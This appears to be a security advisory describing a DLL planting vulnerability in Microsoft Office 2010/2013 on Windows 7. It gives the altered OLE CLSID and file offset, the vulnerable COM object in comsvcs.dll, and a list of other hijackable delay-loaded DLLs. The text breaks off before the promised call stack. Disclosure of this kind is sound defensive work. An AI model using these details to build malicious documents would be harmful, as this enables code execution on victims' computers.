It is possible for an attacker to execute a DLL planting attack in Microsoft Office 2010 on Windows 7 x86 with a specially crafted OLE object. This attack also works on Office 2013 running on Windows 7 x64. Other platforms were not tested. The attached POC document "planted-mqrt.doc" contains what was originally an embedded Packager object. The CLSID for this object was changed at offset 0x2650 to be {ecabafc9-7f19-11d2-978e-0000f8757e2a} (formatted as pack(">IHHBBBBBBBB")). This object has a InProcServer32 pointing to comsvcs.dll. Specifically the CQueueAdmin object implemented in the dll.
When a user opens this document and single clicks on the icon for foo.txt ole32!OleLoad is invoked on our vulnerable CLSID. This results in a call to a class factory constructor that tries eventually tries to call mqrt!MQGetPrivateComputerInformation. Because mqrt is a delay loaded dll the loader has inserted a stub to call _tailMerge_mqrt_dll on the first call of this function. This results in a kernelbase!LoadLibraryExA call vulnerable to dll planting. If the attached mqrt.dll is placed in the same directory with the planted-mqrt.doc file you should see a popup coming from this DLL being loaded from the current working directory of Word.
It's worth noting that there are several other delay loaded dlls in reachable from comsvcs.dll as well. The full list is:
ADVAPI32.dll
API_MS_WIN_Service_Management_L1_1_0.dll
API_MS_WIN_Service_Management_L2_1_0.dll
API_MS_WIN_Service_winsvc_L1_1_0.dll
API_MS_Win_Security_SDDL_L1_1_0.dll
CLBCatQ.DLL
CRYPTSP.dll
MTXCLU.DLL
ODBC32.dll
VERSION.dll
XOLEHLP.dll
colbact.DLL
dbghelp.dll
mqrt.dll
netutils.dll
samcli.dll
Here is the call stack from the delay loaded mqrt.dll:
